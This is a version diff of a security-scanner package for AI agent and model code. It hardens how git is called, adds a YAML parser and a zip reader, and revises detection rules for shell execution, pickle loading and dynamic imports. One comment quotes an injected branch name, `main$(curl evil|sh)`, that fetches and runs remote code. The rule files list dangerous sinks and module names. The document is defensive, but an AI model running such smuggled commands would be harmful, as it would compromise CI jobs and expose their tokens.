@shomra/agent 0.3.28 → 0.3.30

package/src/core/git-exec.mjs

@@ -0,0 +1,79 @@
+import { execFileSync } from 'node:child_process';
+import fs from 'node:fs';
+import path from 'node:path';
+
+/**
+ * WHICH `git` RUNS - NEVER ONE THE SCANNED REPOSITORY SHIPS.
+ *
+ * ⚠ On Windows a bare `git` is looked for in the working directory BEFORE PATH:
+ * cmd.exe does it for `execSync('git …')` (trying git.exe, git.bat, git.cmd…),
+ * and Node does it for `execFileSync('git')` (git.exe, git.com) unless
+ * NoDefaultCurrentDirectoryInExePath is set - which on a developer's machine or
+ * a Windows CI runner it normally is not. The working directory is the
+ * repository being checked, so a `git.bat` committed to a pull request ran the
+ * moment `shomra check` looked at it - with the job's token in its environment,
+ * or on the laptop of whoever opened the repo in the editor extension. git is
+ * resolved here against ABSOLUTE PATH directories only and always run by its full
+ * path; no git on PATH means no git, which every caller already treats as
+ * "not a repository".
+ */
+export function resolveOnPath(name, env = process.env, platform = process.platform) {
+  const p = platform === 'win32' ? path.win32 : path.posix;
+  const names = platform === 'win32' ? [`${name}.exe`, `${name}.com`] : [name];
+  for (const raw of String(env.PATH ?? env.Path ?? '').split(p.delimiter)) {
+    const dir = raw.trim().replace(/^"(.*)"$/, '$1');
+    if (!dir || !p.isAbsolute(dir)) continue;
+    for (const n of names) {
+      const candidate = p.join(dir, n);
+      try {
+        if (!fs.statSync(candidate).isFile()) continue;
+        if (platform !== 'win32') fs.accessSync(candidate, fs.constants.X_OK);
+        return candidate;
+      } catch {
+        /* not in this directory */
+      }
+    }
+  }
+  return null;
+}
+
+let gitBinary;
+function gitPath() {
+  if (gitBinary === undefined) gitBinary = resolveOnPath('git');
+  return gitBinary;
+}
+
+/**
+ * GIT, WITHOUT A SHELL.
+ *
+ * ⚠ `execSync(`git ${args}`)` handed the whole line to a shell, and part of that
+ * line was a BRANCH NAME - from `--base`, from `GITHUB_BASE_REF`, or from the
+ * pull-request event payload. `$(...)`, `;` and `|` are all legal in a git ref,
+ * so a branch called `main$(curl evil|sh)` ran inside the customer's CI job,
+ * with the job's GitHub token in its environment. Arguments now go to git as an
+ * argv array, where a metacharacter is just a character.
+ */
+export function git(args, { cwd, timeout = 5000, maxBuffer = 16 * 1024 * 1024 } = {}) {
+  const bin = gitPath();
+  if (!bin) return null;
+  try {
+    return execFileSync(bin, args, { cwd, stdio: ['ignore', 'pipe', 'ignore'], timeout, maxBuffer, windowsHide: true }).toString();
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * A ref we are willing to pass as a REVISION argument.
+ *
+ * ⚠ argv closes the shell hole, not the option hole: a ref beginning with `-` is
+ * read by git as a flag (`--output=/etc/...`). Refused, along with anything git's
+ * own check-ref-format would refuse.
+ */
+export function safeRef(ref) {
+  const r = String(ref ?? '').trim();
+  if (!r || r.length > 200) return null;
+  if (r.startsWith('-') || r.includes('..') || r.endsWith('.lock') || r.endsWith('/') || r.endsWith('.')) return null;
+  if (!/^[A-Za-z0-9._\/+-]+$/.test(r)) return null;
+  return r;
+}

package/src/core/yaml-lite.mjs

@@ -0,0 +1,300 @@
+const MAX_BYTES = 1024 * 1024;
+const MAX_DEPTH = 64;
+const MAX_ALIASES = 1000;
+const MAX_EXPANDED = 100_000;
+
+class YamlError extends Error {}
+
+function stripComment(s) {
+  let q = null;
+  for (let i = 0; i < s.length; i++) {
+    const c = s[i];
+    if (q) {
+      if (q === '"' && c === '\\') { i++; continue; }
+      if (c === q) q = null;
+      continue;
+    }
+    if (c === '"' || c === "'") {
+      if (i === 0 || /[\s:,[{-]/.test(s[i - 1])) q = c;
+      continue;
+    }
+    if (c === '#' && (i === 0 || /\s/.test(s[i - 1]))) return s.slice(0, i).trimEnd();
+  }
+  return s.trimEnd();
+}
+
+function scalar(raw) {
+  const v = raw.trim();
+  if (v === '' || v === '~' || v === 'null' || v === 'Null' || v === 'NULL') return null;
+  if (/^(?:true|True|TRUE)$/.test(v)) return true;
+  if (/^(?:false|False|FALSE)$/.test(v)) return false;
+  if (/^[-+]?\d+$/.test(v) && v.length < 16) return Number(v);
+  if (/^[-+]?(?:\d+\.\d*|\.\d+)(?:[eE][-+]?\d+)?$/.test(v)) return Number(v);
+  if (v[0] === '"') return doubleQuoted(v);
+  if (v[0] === "'") return v.slice(1, v.endsWith("'") ? -1 : undefined).replace(/''/g, "'");
+  return v;
+}
+
+function doubleQuoted(v) {
+  const body = v.slice(1, v.endsWith('"') ? -1 : undefined);
+  return body.replace(/\\(u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|.)/g, (_, e) => {
+    if (e[0] === 'u' || e[0] === 'x') return String.fromCharCode(parseInt(e.slice(1), 16));
+    return { n: '\n', t: '\t', r: '\r', '0': '\0', '"': '"', '\\': '\\', '/': '/', ' ': ' ', b: '\b', e: '\x1b' }[e] ?? e;
+  });
+}
+
+function parseFlow(src, ctx) {
+  let i = 0;
+  const ws = () => { while (i < src.length && /\s/.test(src[i])) i++; };
+  const value = (depth) => {
+    if (depth > MAX_DEPTH) throw new YamlError('depth');
+    ws();
+    const c = src[i];
+    if (c === '[') {
+      i++;
+      const out = [];
+      for (;;) {
+        ws();
+        if (src[i] === ']') { i++; return out; }
+        if (i >= src.length) throw new YamlError('unterminated [');
+        out.push(value(depth + 1));
+        ws();
+        if (src[i] === ',') i++;
+        else if (src[i] !== ']') throw new YamlError('flow seq');
+      }
+    }
+    if (c === '{') {
+      i++;
+      const out = {};
+      for (;;) {
+        ws();
+        if (src[i] === '}') { i++; return out; }
+        if (i >= src.length) throw new YamlError('unterminated {');
+        const k = token(true);
+        ws();
+        let v = null;
+        if (src[i] === ':') { i++; v = value(depth + 1); }
+        out[String(k ?? '')] = v;
+        ws();
+        if (src[i] === ',') i++;
+        else if (src[i] !== '}') throw new YamlError('flow map');
+      }
+    }
+    return token(false);
+  };
+  const token = (isKey) => {
+    ws();
+    const c = src[i];
+    if (c === '"' || c === "'") {
+      let j = i + 1;
+      while (j < src.length) {
+        if (c === '"' && src[j] === '\\') { j += 2; continue; }
+        if (src[j] === c) { if (c === "'" && src[j + 1] === "'") { j += 2; continue; } break; }
+        j++;
+      }
+      const raw = src.slice(i, j + 1);
+      i = j + 1;
+      return scalar(raw);
+    }
+    if (c === '*') {
+      let j = i + 1;
+      while (j < src.length && !/[\s,\]}]/.test(src[j])) j++;
+      const name = src.slice(i + 1, j);
+      i = j;
+      return ctx.alias(name);
+    }
+    let j = i;
+    while (j < src.length && !(src[j] === ',' || src[j] === ']' || src[j] === '}' || (isKey && src[j] === ':' && /[\s,\]}]|$/.test(src[j + 1] ?? '')))) j++;
+    const raw = src.slice(i, j);
+    i = j;
+    return scalar(raw);
+  };
+  const out = value(0);
+  return out;
+}
+
+function balanced(s) {
+  let depth = 0;
+  let q = null;
+  for (let i = 0; i < s.length; i++) {
+    const c = s[i];
+    if (q) { if (q === '"' && c === '\\') i++; else if (c === q) q = null; continue; }
+    if (c === '"' || c === "'") q = c;
+    else if (c === '[' || c === '{') depth++;
+    else if (c === ']' || c === '}') depth--;
+  }
+  return depth <= 0;
+}
+
+export function parseYaml(text) {
+  if (typeof text !== 'string' || text.length > MAX_BYTES) return null;
+  const rawLines = text.replace(/^/, '').replace(/\t/g, '  ').split(/\r?\n/);
+  const lines = [];
+  let started = false;
+  for (let n = 0; n < rawLines.length; n++) {
+    const raw = rawLines[n];
+    if (/^%/.test(raw) && !started) continue;
+    if (/^(?:---|\.\.\.)(?:\s|$)/.test(raw)) {
+      if (started) break;
+      const rest = raw.replace(/^---\s*/, '');
+      if (rest && !rest.startsWith('#')) { started = true; lines.push({ indent: 0, text: rest, raw, n }); }
+      continue;
+    }
+    const indent = raw.search(/\S/);
+    if (indent === -1) { lines.push({ indent: -1, text: '', raw, n }); continue; }
+    const stripped = stripComment(raw.slice(indent));
+    if (!stripped) continue;
+    started = true;
+    lines.push({ indent, text: stripped, raw, n });
+  }
+
+  const anchors = new Map();
+  let aliasUses = 0;
+  let expanded = 0;
+  const weights = new WeakMap();
+  const weight = (v) => {
+    if (!v || typeof v !== 'object') return 1;
+    if (weights.has(v)) return weights.get(v);
+    weights.set(v, 1);
+    let w = 1;
+    for (const c of Array.isArray(v) ? v : Object.values(v)) { w += weight(c); if (w > MAX_EXPANDED) break; }
+    weights.set(v, w);
+    return w;
+  };
+  const ctx = {
+    alias(name) {
+      if (++aliasUses > MAX_ALIASES) throw new YamlError('alias bomb');
+      if (!anchors.has(name)) throw new YamlError(`unknown alias ${name}`);
+      const v = anchors.get(name);
+      expanded += weight(v);
+      if (expanded > MAX_EXPANDED) throw new YamlError('alias bomb');
+      return v;
+    },
+  };
+  let i = 0;
+  const peek = () => { while (i < lines.length && lines[i].indent === -1) i++; return lines[i]; };
+
+  const KEY_RE = /^(?:"((?:[^"\\]|\\.)*)"|'((?:[^']|'')*)'|([^\s#'"{[][^:]*?|[^\s#'"{[]))\s*:(?:\s+(.*)|$)/;
+
+  function blockScalar(header, parentIndent) {
+    const style = header[0];
+    const chomp = /-/.test(header) ? 'strip' : /\+/.test(header) ? 'keep' : 'clip';
+    const explicit = /\d/.exec(header);
+    const collected = [];
+    let blockIndent = explicit ? parentIndent + Number(explicit[0]) : -1;
+    while (i < lines.length) {
+      const l = lines[i];
+      const rawIndent = l.raw.search(/\S/);
+      if (rawIndent === -1) { collected.push(''); i++; continue; }
+      if (rawIndent <= parentIndent) break;
+      if (blockIndent === -1) blockIndent = rawIndent;
+      if (rawIndent < blockIndent) break;
+      collected.push(l.raw.replace(/\t/g, '  ').slice(blockIndent));
+      i++;
+    }
+    while (collected.length && collected[collected.length - 1] === '' && chomp !== 'keep') collected.pop();
+    let out;
+    if (style === '|') out = collected.join('\n');
+    else {
+      out = '';
+      for (let k = 0; k < collected.length; k++) {
+        const line = collected[k];
+        if (line === '') out += '\n';
+        else if (/^\s/.test(line)) out += (out && !out.endsWith('\n') ? '\n' : '') + line + '\n';
+        else out += (out && !out.endsWith('\n') && !out.endsWith(' ') ? ' ' : '') + line;
+      }
+      out = out.replace(/\n+$/, '');
+    }
+    return chomp === 'strip' ? out : out + '\n';
+  }
+
+  function inlineValue(rest, parentIndent, depth) {
+    let v = rest.trim();
+    let anchor = null;
+    const am = /^&([^\s,\]}]+)\s*(.*)$/.exec(v);
+    if (am) { anchor = am[1]; v = am[2]; }
+    v = v.replace(/^!\S*\s*/, ''); // tags are ignored
+    let out;
+    if (v === '') {
+      const nx = peek();
+      if (nx && (nx.indent > parentIndent || (nx.indent === parentIndent && /^-(?:\s|$)/.test(nx.text)))) out = node(nx.indent, depth + 1);
+      else out = null;
+    } else if (/^[|>][-+0-9]*$/.test(v)) out = blockScalar(v, parentIndent);
+    else if (v[0] === '*') out = ctx.alias(v.slice(1).trim());
+    else if (v[0] === '[' || v[0] === '{') {
+      let src = v;
+      while (!balanced(src) && i < lines.length) { const l = lines[i++]; if (l.indent !== -1) src += ' ' + l.text; }
+      out = parseFlow(src, ctx);
+    } else if ((v[0] === '"' && !/"$/.test(v.slice(1))) || (v[0] === "'" && !/'$/.test(v.slice(1)))) {
+      let src = v;
+      const q = v[0];
+      while (i < lines.length && !new RegExp(`${q}\\s*$`).test(src.slice(1))) { const l = lines[i++]; src += ' ' + (l.indent === -1 ? '' : l.text); }
+      out = scalar(src);
+    } else {
+      let src = v;
+      while (i < lines.length) {
+        const l = lines[i];
+        if (l.indent === -1 || l.indent <= parentIndent || KEY_RE.test(l.text) || /^-(?:\s|$)/.test(l.text)) break;
+        src += ' ' + l.text;
+        i++;
+      }
+      out = scalar(src);
+    }
+    if (anchor) anchors.set(anchor, out);
+    return out;
+  }
+
+  function node(indent, depth) {
+    if (depth > MAX_DEPTH) throw new YamlError('depth');
+    const l = peek();
+    if (!l) return null;
+    if (/^-(?:\s|$)/.test(l.text)) return seq(l.indent, depth);
+    if (KEY_RE.test(l.text)) return map(l.indent, depth);
+    i++;
+    return inlineValue(l.text, indent - 1, depth);
+  }
+
+  function seq(indent, depth) {
+    const out = [];
+    for (;;) {
+      const l = peek();
+      if (!l || l.indent !== indent || !/^-(?:\s|$)/.test(l.text)) break;
+      const content = l.text.replace(/^-\s*/, '');
+      const offset = l.text.length - content.length;
+      if (content && (KEY_RE.test(content) || /^-(?:\s|$)/.test(content)) && !/^[[{"']/.test(content)) {
+        lines[i] = { ...l, indent: indent + offset, text: content };
+        out.push(node(indent + offset, depth + 1));
+      } else {
+        i++;
+        out.push(inlineValue(content, indent, depth));
+      }
+    }
+    return out;
+  }
+
+  function map(indent, depth) {
+    const out = {};
+    const merges = [];
+    for (;;) {
+      const l = peek();
+      if (!l || l.indent !== indent) break;
+      const m = KEY_RE.exec(l.text);
+      if (!m) break;
+      i++;
+      const key = m[1] != null ? doubleQuoted(`"${m[1]}"`) : m[2] != null ? m[2].replace(/''/g, "'") : m[3].trim();
+      const val = inlineValue(m[4] ?? '', indent, depth);
+      if (key === '<<') merges.push(...(Array.isArray(val) ? val : [val]));
+      else out[key] = val;
+    }
+    for (const src of merges) if (src && typeof src === 'object' && !Array.isArray(src)) for (const [k, v] of Object.entries(src)) if (!(k in out)) out[k] = v;
+    return out;
+  }
+
+  try {
+    const first = peek();
+    if (!first) return null;
+    return node(first.indent, 0);
+  } catch {
+    return null;
+  }
+}

package/src/core/zip-lite.mjs

@@ -0,0 +1,37 @@
+import zlib from 'node:zlib';
+
+export function readZipEntry(buf, wanted, { maxBytes = 1024 * 1024 } = {}) {
+  if (!Buffer.isBuffer(buf) || buf.length < 22) return null;
+  let eocd = -1;
+  for (let i = buf.length - 22; i >= Math.max(0, buf.length - 22 - 0xffff); i--) {
+    if (buf.readUInt32LE(i) === 0x06054b50) { eocd = i; break; }
+  }
+  if (eocd < 0) return null;
+  const count = buf.readUInt16LE(eocd + 10);
+  let p = buf.readUInt32LE(eocd + 16);
+  const want = String(wanted).replace(/\\/g, '/').toLowerCase();
+  for (let n = 0; n < count && p + 46 <= buf.length; n++) {
+    if (buf.readUInt32LE(p) !== 0x02014b50) return null;
+    const method = buf.readUInt16LE(p + 10);
+    const csize = buf.readUInt32LE(p + 20);
+    const usize = buf.readUInt32LE(p + 24);
+    const nlen = buf.readUInt16LE(p + 28);
+    const elen = buf.readUInt16LE(p + 30);
+    const clen = buf.readUInt16LE(p + 32);
+    const local = buf.readUInt32LE(p + 42);
+    const name = buf.slice(p + 46, p + 46 + nlen).toString('utf8').replace(/\\/g, '/');
+    p += 46 + nlen + elen + clen;
+    if (name.toLowerCase() !== want) continue;
+    if (usize > maxBytes || local + 30 > buf.length || buf.readUInt32LE(local) !== 0x04034b50) return null;
+    const start = local + 30 + buf.readUInt16LE(local + 26) + buf.readUInt16LE(local + 28);
+    const data = buf.slice(start, start + csize);
+    try {
+      if (method === 0) return data.slice(0, maxBytes).toString('utf8');
+      if (method === 8) return zlib.inflateRawSync(data, { maxOutputLength: maxBytes }).toString('utf8');
+    } catch {
+      return null;
+    }
+    return null;
+  }
+  return null;
+}

package/src/detect/local-redact.mjs

@@ -3,7 +3,6 @@ import { PII_PATTERNS, SECRET_PATTERNS, isPlaceholderSecret, luhnValid } from '.
 const MAX_TEXT = 200_000;
 const MAX_SPANS = 200;
 
-
 export function redactLocally(text, opts = {}) {
   const src = String(text ?? '');
   if (!src || src.length > MAX_TEXT) return { text: src, masked: [], unmaskable: [], changed: false };
@@ -17,7 +16,7 @@ export function redactLocally(text, opts = {}) {
     let guard = 0;
     while ((m = rx.exec(src)) !== null && guard++ < MAX_SPANS) {
       if (!m[0]) { rx.lastIndex += 1; continue; }
-      if (category === 'secret' && isPlaceholderSecret(m[0])) continue;
+      if (category === 'secret' && !/private key/i.test(label) && isPlaceholderSecret(m[0])) continue;
       if (label === 'Credit card number' && !luhnValid(m[0])) continue;
       spans.push({ start: m.index, end: m.index + m[0].length, label, category });
     }
@@ -54,7 +53,6 @@ export function redactLocally(text, opts = {}) {
   return { text: out, masked, unmaskable: [], changed: true };
 }
 
-
 export function unmaskableFindings(findings, redaction) {
   const maskedLabels = new Set((redaction?.masked ?? []).flatMap((m) => String(m.label).split(' + ')));
   return (findings ?? [])

package/src/detect/sast/rules-config.mjs

@@ -18,7 +18,7 @@ export const CONFIG_RULES = [
     severity: 'HIGH',
     category: 'remote-code',
     confidence: 0.8,
-    re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor)"\s*:\s*"([^"]+)"/,
+    re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor|AutoVideoProcessor)"\s*:\s*(?:"([^"]+)"|\[\s*(?:null\s*,\s*)?"([^"]+)")/,
     sink: (m) => `auto_map.${m[1]}`,
     message: 'config maps a tokenizer/processor class to repo-shipped code, executed under trust_remote_code when the tokenizer loads.',
     remediation: 'Review the referenced tokenizer code before loading; prefer a model whose tokenizer ships with transformers.',

package/src/detect/sast/rules-javascript.mjs

@@ -15,13 +15,26 @@ export const JS_RULES = [
     remediation: 'Never eval strings. Parse structured input explicitly (JSON.parse) and dispatch on a fixed allowlist of handlers.',
     cwe: 'CWE-94',
   },
+  {
+    id: 'js.command_exec_import',
+    title: 'child_process imported (process-spawn capability)',
+    severity: 'LOW',
+    category: 'code-exec',
+    confidence: 0.5,
+    re: /require\(\s*['"](node:)?child_process['"]\s*\)|\bfrom\s+['"](node:)?child_process['"]|\bimport\(\s*['"](node:)?child_process['"]\s*\)/,
+    sink: (m) => m[0].trim(),
+    source: 'tool input / model output',
+    message: 'Imports child_process, so this file is able to spawn a shell or process. On its own that is a capability, not a finding - but an agent tool or MCP server that does not need to run commands should not be able to.',
+    remediation: 'If this tool has no reason to spawn processes, drop the import. If it does, confirm every invocation uses execFile with a fixed binary and an argument array - never a shell string built from input.',
+    cwe: 'CWE-78',
+  },
   {
     id: 'js.command_exec',
     title: 'Shell / process execution',
     severity: 'CRITICAL',
     category: 'code-exec',
     confidence: 0.8,
-    re: /\bchild_process\b|require\(\s*['"]child_process['"]\s*\)|\bfrom\s+['"]child_process['"]|\b(execSync|execFileSync|spawnSync|execFile)\s*\(/,
+    re: /(?<!\bfunction\s)\b(execSync|execFileSync|spawnSync|execFile)\s*\(/,
     sink: (m) => m[0].trim(),
     source: 'tool input / model output',
     message: 'Spawns a shell or child process. If any argument derives from tool input or model output this is command injection / RCE in the agent host.',
@@ -104,6 +117,6 @@ export const JS_RULES = [
 export const JS_TAINT = {
   lang: 'js',
   ruleId: 'js.llm_output_to_sink',
-  aiCall: /\.(generate|invoke|run|complete|stream|predict|call)\s*\(|\.chat\.completions\.create\s*\(|\.messages\.create\s*\(|\.create(Chat)?Completion\s*\(/,
-  execSink: /(?<![.\w])eval\s*\(|\bnew\s+Function\s*\(|\b(execSync|execFileSync|spawnSync|execFile|exec|spawn)\s*\(|\bvm\.\w+\s*\(/g,
+  aiCall: /\.(generate|invoke|complete|stream|predict)\s*\(|\b\w{0,64}(?:[Cc]hain|[Ll]lm|LLM|[Mm]odel|[Aa]gent|[Ee]xecutor)\w{0,64}\.(call|run|invoke)\s*\(|\.chat\.completions\.create\s*\(|\.messages\.create\s*\(|\.create(Chat)?Completion\s*\(/,
+  execSink: /(?<![.\w])eval\s*\(|\bnew\s+Function\s*\(|\b(execSync|execFileSync|spawnSync|execFile)\s*\(|(?<![.\w])(exec|spawn)\s*\(|\b(child_process|childProcess|cp|proc)\.(exec|spawn)\s*\(|\bvm\.\w+\s*\(/g,
 };

package/src/detect/sast/rules-python.mjs

@@ -3,9 +3,10 @@ export const PY_RULES = [
     id: 'python.dangerous_sinks',
     title: 'Dangerous code-execution sink',
     severity: 'CRITICAL',
+    codeOnly: true,
     category: 'code-exec',
     confidence: 0.85,
-    re: /(?<![.\w])(eval|exec|compile)\s*\(|\bos\.(system|popen|exec[lv]?[pe]*)\s*\(|\bsubprocess\.(run|call|check_output|check_call|Popen)\s*\(|(?<![.\w])__import__\s*\(|(?<![.\w])getattr\s*\(\s*__builtins__/,
+    re: /(?<![.\w])(?<!def )(eval|exec|compile)\s*\(|\bos\.(system|popen|exec[lv]?[pe]*|spawn[lv]?[pe]*)\s*\(|\bposix\.system\s*\(|\bsubprocess\.\w+\s*\([^\n]{0,300}shell\s*=\s*True|(?<![.\w])getattr\s*\(\s*__builtins__/,
     sink: (m) => m[0].replace(/\s*\($/, '').trim(),
     source: 'model load / forward()',
     message: 'Model code invokes an arbitrary code-execution primitive. Under trust_remote_code this runs in the host process the moment the model is imported.',
@@ -19,7 +20,7 @@ export const PY_RULES = [
     category: 'deserialization',
     confidence: 0.9,
 
-    re: /\b(pickle|cpickle|dill|_pickle|cloudpickle)\.(loads?|Unpickler)\s*\(|\bjsonpickle\.(decode|loads)\s*\(|\bmarshal\.loads?\s*\(|\btorch\.(load|jit\.load)\s*\(|\byaml\.(unsafe_load|load\s*\((?![^)]*Loader\s*=\s*yaml\.(Safe|Full)Loader))|\bjoblib\.load\s*\(|\bskops\.io\.load\s*\(|\bshelve\.open\s*\(|\bnumpy\.load\s*\([^)]*allow_pickle\s*=\s*True|\b(pandas|pd)\.read_pickle\s*\(|\bmlflow\.[\w.]+\.load_model\s*\(/,
+    re: /\b(pickle|cpickle|dill|_pickle|cloudpickle)\.(loads?|Unpickler)\s*\(|\bjsonpickle\.(decode|loads)\s*\(|\bmarshal\.loads?\s*\(|\btorch\.(load|jit\.load)\s*\((?![^)]*(weights_only\s*=\s*True|use_safetensors\s*=\s*True))|\byaml\.(unsafe_load|load\s*\((?![^)]*Loader\s*=\s*(yaml\.)?\w*(Safe|Full)Loader))|\bjoblib\.load\s*\(|\bskops\.io\.load\s*\(|\bshelve\.open\s*\(|\bnumpy\.load\s*\([^)]*allow_pickle\s*=\s*True|\b(pandas|pd)\.read_pickle\s*\(|\bmlflow\.[\w.]+\.load_model\s*\(/,
     sink: (m) => m[0].replace(/\s*\($/, '').trim(),
     source: 'weight / config file',
     message: 'Deserializes data with a pickle-backed loader. A crafted file runs arbitrary code via __reduce__ on load - the primary model-hub malware vector.',
@@ -125,10 +126,11 @@ export const PY_RULES = [
     id: 'python.langchain_code_exec',
     title: 'LLM-driven code-execution component',
     severity: 'HIGH',
+    codeOnly: true,
     category: 'agentic',
     confidence: 0.85,
 
-    re: /\b(PythonREPL|PythonREPLTool|PythonAstREPLTool|PALChain|CPALChain|LLMMathChain|create_pandas_dataframe_agent|create_spark_dataframe_agent|create_csv_agent|PandasQueryEngine|PandasInstructionParser|CodeInterpreterToolSpec|CodeAgent|LocalPythonExecutor|local_python_executor|PythonInterpreterTool)\b|\bload_tools\s*\([^)]*['"](python_repl|terminal|shell|bash)/,
+    re: /(?<!class )(?<!def )\b(PythonREPL|PythonREPLTool|PythonAstREPLTool|PALChain|CPALChain|LLMMathChain|create_pandas_dataframe_agent|create_spark_dataframe_agent|create_csv_agent|PandasQueryEngine|PandasInstructionParser|CodeInterpreterToolSpec|CodeAgent|LocalPythonExecutor|local_python_executor|PythonInterpreterTool)\s*\(|\bload_tools\s*\([^)]*['"](python_repl|terminal|shell|bash)/,
     sink: (m) => m[0].trim(),
     source: 'LLM output',
     message: 'Uses an agent-framework component that executes LLM-generated code (exec/eval on model output). If the model can be steered (prompt injection), this is remote code execution in the agent host (CVE-2023-29374 / CVE-2024-4181 class).',
@@ -195,7 +197,7 @@ export const PY_RULES = [
   {
     id: 'python.reduce_payload',
     title: 'Custom __reduce__ (pickle RCE gadget)',
-    severity: 'CRITICAL',
+    severity: 'LOW',
     category: 'deserialization',
     confidence: 0.8,
     re: /def\s+__reduce__\s*\(|def\s+__reduce_ex__\s*\(|def\s+__setstate__\s*\(/,
@@ -224,7 +226,7 @@ export const PY_RULES = [
     severity: 'HIGH',
     category: 'obfuscation',
     confidence: 0.7,
-    re: /\bimportlib\.import_module\s*\(|\b__import__\s*\(\s*['"]?\s*(os|subprocess|socket|base64|marshal|ctypes)|\bexec\s*\(\s*(base64|bytes|marshal|codecs)/,
+    re: /\bimportlib\.import_module\s*\(\s*['"](os|subprocess|socket|base64|marshal|ctypes|pty|commands|pickle)\b|\b__import__\s*\(\s*['"]?\s*(os|subprocess|socket|base64|marshal|ctypes)|\bexec\s*\(\s*(base64|bytes|marshal|codecs)/,
     sink: (m) => m[0].trim(),
     message: 'Imports or executes a module chosen at runtime, often to hide os/subprocess/socket usage from a quick read.',
     remediation: 'Resolve what is imported and why. Obfuscated dynamic imports in model code are a strong malware tell.',
@@ -287,6 +289,6 @@ export const PY_RULES = [
 export const PY_TAINT = {
   lang: 'python',
   ruleId: 'python.llm_output_to_sink',
-  aiCall: /\.(a?generate|a?predict|a?invoke|a?run|complete|acomplete|chat|stream|__call__|predict_messages)\s*\(|\.(chat\.)?completions\.create\s*\(|\.messages\.create\s*\(|\bllm\s*\(/,
+  aiCall: /\.(chat\.)?completions\.create\s*\(|\.messages\.create\s*\(|\b\w{0,64}(?:llm|chain|model|agent|executor|client|openai|anthropic|bedrock|gemini|claude|gpt|ollama|mistral|cohere)\w{0,64}\.(a?generate|a?predict|a?invoke|a?run|complete|acomplete|chat|stream|__call__|predict_messages)\s*\(|\bllm\s*\(/i,
   execSink: /(?<![.\w])(eval|exec|compile)\s*\(|\bos\.(system|popen)\s*\(|\bsubprocess\.(run|call|check_output|check_call|Popen)\s*\(/g,
 };

package/src/detect/sast/scanner.mjs

@@ -84,7 +84,7 @@ const JS_EXT = /\.(m|c)?[jt]sx?$/i;
 
 const NB_EXT = /\.ipynb$/i;
 
-const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config)\.json$/i;
+const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config|processor_config|adapter_config|config_sentence_transformers)\.json$/i;
 
 export function isScannableSource(path) {
   return PY_EXT.test(path) || JS_EXT.test(path) || NB_EXT.test(path);